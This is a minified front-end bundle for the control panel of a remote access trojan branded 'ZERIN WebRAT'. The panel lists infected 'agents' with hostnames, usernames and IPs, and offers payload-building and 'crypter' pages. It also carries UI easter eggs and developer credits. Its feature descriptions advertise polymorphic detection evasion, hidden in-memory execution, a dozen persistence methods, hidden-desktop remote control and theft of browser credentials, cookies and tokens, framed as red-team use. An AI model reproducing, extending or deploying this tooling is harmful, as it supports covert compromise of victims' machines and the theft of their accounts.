a=o=>{mA(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{hA(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{xA(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},cA),e){if(n.current>=Lg){n.current=0,t(!1);try{localStorage.removeItem(Kf)}catch{}dA()}return}if(n.current>=15&&fA(n.current-14),n.current>=Lg){n.current=0,t(!0);try{localStorage.setItem(Kf,"true")}catch{}uA(),pA(),Bg()}},[e]);return{isActive:e,handleStatusClick:i}}const Ug=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function gA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function yA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function bA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` position:absolute;left:0;right:0;height:2px; top:${n*13}%; background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; opacity:0; animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` position:absolute;left:${a}%;top:${o}%; width:${i}px;height:${i}px; background:${u};border-radius:50%; box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; --synth-dx:${l}px;--synth-dy:${c}px; animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Vg=0,qf=0;function wA(e,t){const n=Date.now();if(n-Vg<40)return;Vg=n,qf=(qf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=qf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function jA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` left:${a}vw;width:${i}px;height:${i}px; clip-path:${o}; border:1.5px solid ${r}; box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; background:${r}08; `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function kA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=Ug.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);Ug.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?yA():(gA(),bA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>wA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{jA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const NA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},SA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},zA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},CA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},PA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function sd({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${NA[t]} ${zA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${SA[t]} ${CA[e]}`,children:PA[e]})]})}function EA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=dr(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(sd,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Ji={status:"idle",payloadName:"",startedAt:0,error:""};const jm=new Set;function od(){jm.forEach(e=>e())}function mj(){return Ji}function hj(e){return jm.add(e),()=>jm.delete(e)}function AA(e){Ji={status:"building",payloadName:e,startedAt:Date.now(),error:""},od()}function _A(){Ji={...Ji,status:"success"},od()}function Hg(e){Ji={...Ji,status:"error",error:e},od()}function Kg(){Ji={status:"idle",payloadName:"",startedAt:0,error:""},od()}const ld=p.createContext({lastMessage:null}),OA=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],TA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},MA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function LA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function IA(){const{logout:e,isAdmin:t}=ls(),r=p.useSyncExternalStore(hj,mj).status==="building",a=sj()==="rat_crypter"||t,o=[...OA,...a?[TA]:[],...t?[MA]:[]],l=dr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=lA(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=vA(),{isActive:j}=kA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function I(U){var M,F;if(k||U.ctrlKey||U.metaKey||U.altKey)return;const D=(M=U.target)==null?void 0:M.tagName;D==="INPUT"||D==="TEXTAREA"||D==="SELECT"||(F=U.target)!=null&&F.isContentEditable||U.key.length===1&&(N.current+=U.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const _=p.useCallback(async()=>{try{const I=await lj();v(I)}catch{}},[]);p.useEffect(()=>{_();const I=setInterval(_,15e3);return()=>clearInterval(I)},[_]);const A=p.useCallback(I=>{if(I.type==="agent_update"){const U=I.payload;v(D=>{const M=D.findIndex(F=>F.id===U.id);if(M>=0){const F=[...D];return F[M]=U,F}return m("New Agent Connected",`${U.hostname} (${U.internal_ip})`),[U,...D]})}if(I.type==="event"){const U=I.payload;(U.type==="task_completed"||U.type==="task_failed")&&m("Task Update",U.message)}},[m]),{isConnected:O,lastMessage:P}=oA({onMessage:A});return p.useEffect(()=>{function I(U){(U.metaKey||U.ctrlKey)&&U.key==="k"&&(U.preventDefault(),g(D=>!D))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[]),s.jsx(ld.Provider,{value:{lastMessage:P},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-muted border border-zerin-panel-border\r hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:I,label:U,icon:D})=>s.jsx(zE,{to:I,end:I==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 ${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>s.jsxs(s.Fragment,{children:[M&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:D}),s.jsx("span",{className:"font-medium",children:U}),I==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},I))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(fE,{})}),s.jsx(EA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(LA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` _______ ______ ______ _____ __ _ / |______ |_____/ | | \\ | / |______ | \\_ __|__ | \\_| `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` @keyframes credits-in { from { opacity: 0; } to { opacity: 1; } } @keyframes glitch-appear { 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } } @keyframes credits-glow { from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } } @keyframes credit-slide { from { opacity: 0; transform: translateY(15px); } to { opacity: 1; transform: translateY(0); } } `})]})]})})}const DA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function RA(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const $A=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 